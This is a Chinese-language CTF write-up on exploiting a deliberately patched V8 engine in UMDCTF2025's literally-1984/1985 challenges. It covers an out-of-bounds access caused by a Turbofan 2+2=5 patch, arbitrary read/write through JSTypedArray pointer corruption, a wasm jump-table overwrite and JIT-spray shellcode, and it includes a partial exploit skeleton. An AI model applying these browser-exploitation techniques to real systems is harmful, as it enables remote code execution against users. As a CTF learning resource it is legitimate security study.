【V8】UMDCTF2025 literally-1984/1985 WriteUp
字数 2210 2025-08-29 22:41:32
UMDCTF2025 V8漏洞利用分析:literally-1984/1985
前言
本文详细分析UMDCTF2025中两道V8 CTF题目(literally-1984和literally-1985)的漏洞原理与利用技术。这两道题目本质上是相同的,1985只是1984的临时修复版,核心漏洞利用思路一致。
漏洞分析
Patch分析
Part 1: Int32加法优化修改
修改文件:machine-operator-reducer.cc
修改函数:MachineOperatorReducer::ReduceInt32Add(Node* node)
关键修改:
- 添加了特殊优化规则:当加法操作的两个操作数都是2时,直接返回5
- 影响范围:Turbofan优化阶段的Javascript层面的2+2运算
Part 2: 边界检查修改
修改内容:
- 将边界检查条件从
if (v8_flags.turbo_typer_hardening)改为if (v8_flags.turbo_typer_hardening && 2 + 2 == 5) - 由于源代码中的2+2不受Part1修改影响,这个条件永远为false
- 结果:
new_flags永远不会拥有CheckBoundsFlag::kAbortOnOutOfBounds标志位
CheckBoundsFlag::kAbortOnOutOfBounds的作用:
- 当数组访问越界时强制终止程序
- 去除该标志后,越界访问不会触发错误终止
漏洞原理
结合两个patch:
- Javascript层面的2+2=5(通过Turbofan优化)
- 禁用边界检查的强制终止
这使得我们可以:
- 构造特定算术表达式绕过边界检查
- 实现数组越界访问
漏洞利用
初始PoC构造
基础利用函数:
function test() {
let arr = [1.1, 2.2, 3.3];
let idx = 2 + 2; // 在Turbofan优化后变为5
return arr[idx];
}
通过外层循环触发Turbofan优化后,可以成功泄露内存值。
内存布局分析
越界访问泄露的内存包含:
- JSArray对象的map和properties域
- 通过分析泄露值可以确定内存布局
越界访问扩展
通过乘法运算扩大越界范围:
function test() {
let arr = [1.1, 2.2, 3.3];
let idx = (2 + 2) * 2; // 优化后为5*2=10
return arr[idx];
}
任意地址读写(AAR/AAW)尝试
初始思路:
- 覆盖elements指针实现任意地址读写
- 但会遇到新的CHECK校验elements对象的map
解决方案:
- 使用JSTypedArray替代常规数组
- 利用其
data_ptr(base_pointer + external_pointer)实现任意地址读写
JSTypedArray利用
JSTypedArray关键结构:
data_ptr直接指向数据存储空间- 无需满足特定对象结构
- 可以通过越界读写覆盖
base_pointer和external_pointer
实现AAW/AAR的步骤:
- 通过越界访问修改JSTypedArray的长度和elements长度
- 定位优化完成时机(通过检查长度变化)
- 构造稳定的越界读写对象数组
- 覆盖
data_ptr相关字段实现任意地址读写
执行流控制
Wasm实例分析
关键结构:
wasm.Instance对象包含trusted_datatrusted_data中的jump_table_start指向RWX内存区域- 类似于glibc的PLT/GOT结构
利用步骤
-
寻找真实汇编地址:
- 正常调用一次wasm函数
- 使用
%DebugPrint()找到函数真实代码地址(懒加载后)
-
记录shellcode偏移:
- 计算shellcode距离原始
jump_table_start的偏移 - 使用
addrof()和arb_read()进行内存泄露
- 计算shellcode距离原始
-
覆盖start_jump_table:
- 关键点:必须在首次调用前完成覆盖
- 一旦函数被调用过,覆盖将无效
- 将
jump_table_start覆盖为shellcode地址
Shellcode构造
使用JIT-Spray技术:
- 通过浮点数构造shellcode
- 利用Turbofan优化将浮点数编译为可执行代码
完整利用流程
- 触发Turbofan优化使2+2=5
- 构造越界访问泄露内存信息
- 创建JSTypedArray对象
- 通过越界访问修改JSTypedArray属性
- 实现稳定的任意地址读写原语
- 准备wasm实例和shellcode
- 覆盖wasm实例的jump_table_start
- 首次调用wasm函数触发shellcode执行
优化后的EXP
// 触发2+2=5优化
function triggerOpt() {
let arr = [1.1, 2.2, 3.3];
let idx = 2 + 2;
return arr[idx];
}
// 构造越界访问
function buildOOB() {
let corrupting = [1.1, 2.2, 3.3];
let corrupted = [4.4, 5.5, 6.6];
function test() {
let idx = (2 + 2) * 2; // 优化后为10
corrupted[idx] = 0x41414141; // 越界写入
}
// 触发优化
for (let i = 0; i < 100000; i++) {
test();
}
return {corrupting, corrupted};
}
// 实现addrof原语
function addrof(obj) {
// 利用越界读取对象地址
// ...
}
// 实现任意读
function arb_read(addr) {
// 通过修改JSTypedArray的data_ptr实现
// ...
}
// 实现任意写
function arb_write(addr, value) {
// 通过修改JSTypedArray的data_ptr实现
// ...
}
// 主利用函数
function exploit() {
// 1. 触发优化
for (let i = 0; i < 100000; i++) {
triggerOpt();
}
// 2. 构造越界访问
let {corrupting, corrupted} = buildOOB();
// 3. 创建JSTypedArray
let typedArray = new Float64Array(10);
// 4. 实现任意地址读写
// ...
// 5. 准备wasm实例
let wasmCode = new Uint8Array([...]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
// 6. 获取jump_table_start地址并覆盖
let jump_table_addr = /* 通过addrof和偏移计算 */;
arb_write(jump_table_addr, shellcode_addr);
// 7. 触发执行
wasmInstance.exports.main();
}
exploit();
关键注意事项
-
首次调用规则:
- wasm函数的jump_table_start覆盖必须在首次调用前完成
- 一旦函数被调用过,覆盖将不会影响执行流
-
内存对齐:
- 所有内存操作需要注意对齐要求
- 浮点数与整数的转换要正确处理
-
优化触发:
- 确保足够次数的循环触发Turbofan优化
- 可以通过检查结果验证优化是否生效
-
偏移计算:
- 不同V8版本的偏移可能不同
- 需要通过%DebugPrint()动态确定
总结
本漏洞利用的关键点在于:
- 利用Turbofan优化实现算术运算的异常行为
- 结合边界检查的禁用实现越界访问
- 通过JSTypedArray的data_ptr机制绕过常规数组的限制
- 精确控制wasm实例的跳转表实现代码执行
这种利用方式展示了现代JIT引擎中类型混淆与优化器交互的复杂安全问题,对于理解V8引擎的安全机制具有重要意义。